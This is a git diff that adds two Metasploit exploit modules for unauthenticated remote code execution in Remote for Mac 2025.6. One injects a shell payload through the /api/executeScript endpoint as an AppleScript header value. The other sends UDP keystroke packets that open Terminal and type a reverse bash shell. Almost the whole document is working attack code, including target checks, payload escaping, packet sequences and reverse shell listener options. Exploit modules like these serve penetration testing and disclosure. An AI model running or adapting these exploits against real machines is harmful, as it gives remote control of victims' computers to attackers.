diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb new file mode 100644 index 0000000000000..cd0545b858a76 --- /dev/null +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -0,0 +1,123 @@ +## +# Exploit Title: Remote for Mac 2025.6 - Unauthenticated RCE MSF Module +# Date: May 2025 +# Exploit Author: Chokri Hammedi (@chokri0x00) +# Vendor Homepage: https://www.cherpake.com/ +# Software Link: https://cherpake.com/latest.php?os=mac +# Exploit Source: https://packetstormsecurity.com/files/195347/ +# Version: Remote for Mac 2025.6 +# Tested on: macOS Mojave, macOS Ventura +## + +require 'json' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in + Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is + disabled on the target system, it allows attackers to execute arbitrary AppleScript + commands, which can include shell commands via `do shell script`. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Chokri Hammedi (@blue0x1)'], + 'References' => [ + ['URL', 'https://packetstorm.news/files/id/195347/'] + ], + 'DisclosureDate' => '2025-05-27', + 'CVE' => 'Pending', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [['Auto', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 49229, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] + } + ) + ) + + register_options([ + Opt::RHOST(), + Opt::RPORT(49229), + OptBool.new('SSL', [true, 'Enable SSL/TLS', true]), + OptString.new('LHOST', [true, 'Local host to receive reverse shell']), + OptInt.new('LPORT', [true, 'Local port to receive reverse shell', 4444]), + OptBool.new('FORCE', [false, 'Force exploitation even if checks fail', false]) + ]) + end + + def check + return CheckCode::Unknown('Skipping version/auth checks (--force)') if datastore['FORCE'] + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), + 'method' => 'GET', + 'ssl' => datastore['SSL'] + ) + + return CheckCode::Unknown('No response from target') unless res && res.code == 200 + + begin + info = JSON.parse(res.body) + rescue JSON::ParserError + return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') + end + + if info['requires.auth'] == true + return CheckCode::Safe('Target requires authentication on /api/executeScript') + end + + if info['version'] != '2025.6' + return CheckCode::Safe("Target version is #{info['version']}, not vulnerable") + end + + CheckCode::Appears + end + + def exploit + unless datastore['FORCE'] || check == CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable') + end + + print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") + cmd = payload.encoded + escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"') + applescript = %(do shell script "#{escaped}") + + print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), + 'method' => 'GET', + 'ssl' => datastore['SSL'], + 'headers' => { + 'X-ClientToken' => '1337', + 'X-HostName' => 'iFruit', + 'X-HostFullModel' => 'iFruit19,2', + 'X-Script' => applescript, + 'X-ScriptName' => 'exploit', + 'X-ScriptDelay' => '0' + } + ) + + if res && res.code == 200 + print_good('Payload delivered successfully. Awaiting session...') + else + fail_with(Failure::Unknown, "Unexpected HTTP response: #{res ? res.code : 'no response'}") + end + end +end diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb new file mode 100644 index 0000000000000..4a8e97d8e8e55 --- /dev/null +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -0,0 +1,146 @@ +require 'json' +require 'socket' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. + When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets + without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute + arbitrary shell commands, achieving code execution as the current user. + + Tested on macOS Mojave and Ventura. + }, + 'Author' => ['Chokri Hammedi'], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://packetstorm.news/files/id/196351/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] + }, + 'Platform' => ['unix','osx'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Remote for Mac 2025.6', {}]], + 'DefaultTarget' => 0, + 'DefaultPayload' => 'cmd/unix/reverse_bash', + 'DisclosureDate' => '2025-05-27' + ) + ) + + register_options( + [ + Opt::RHOSTS(), + Opt::RPORT(49229), + OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]), + OptString.new('TARGETURI', [true, 'Base URI path', '/']), + ] + ) + end + + def check_auth_disabled? + protocol = datastore['SSL'] ? 'https' : 'http' + vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") + + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'), + 'ctype' => 'application/json', + 'ssl' => datastore['SSL'], + 'rport' => datastore['RPORT'], + 'rhost' => datastore['RHOSTS'] + }) + + if res&.code == 200 + json = JSON.parse(res.body) + if json['requires.auth'] == false + print_good('Authentication is disabled. Target is vulnerable.') + return true + else + print_error('Authentication is enabled. Exploit aborted.') + return false + end + else + print_error('Unexpected response from target') + return false + end + rescue ::Rex::ConnectionError, JSON::ParserError => e + print_error("Connection or parsing error: #{e.message}") + return false + end + end + + def exploit + unless check_auth_disabled? + fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable') + end + + udp_port = datastore['RPORT'] + target_ip = datastore['RHOSTS'] + + initial_packets_hex = [ + '07000200370001', + '07000200370001', + '060003002000', + '07000200370000', + '07000200370000' + ] + + final_packets_hex = [ + '07000200240001', + '07000200240000' + ] + + udp_sock = UDPSocket.new + udp_sock.connect(target_ip, udp_port) + + print_status('Simulating system keyboard input to open Terminal...') + initial_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.05) + end + + prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') + 'terminal'.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.send(pkt, 0) + select(nil, nil, nil, 0.1) + end + + final_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.1) + end + + sleep(2) + + shell_cmd = payload.encoded + print_status('Sending malicious payload to be executed...') + + shell_cmd.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.send(pkt, 0) + select(nil, nil, nil, 0.1) + end + + final_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.1) + end + + print_good('Payload sent. Awaiting session...') + ensure + udp_sock.close if udp_sock + end +end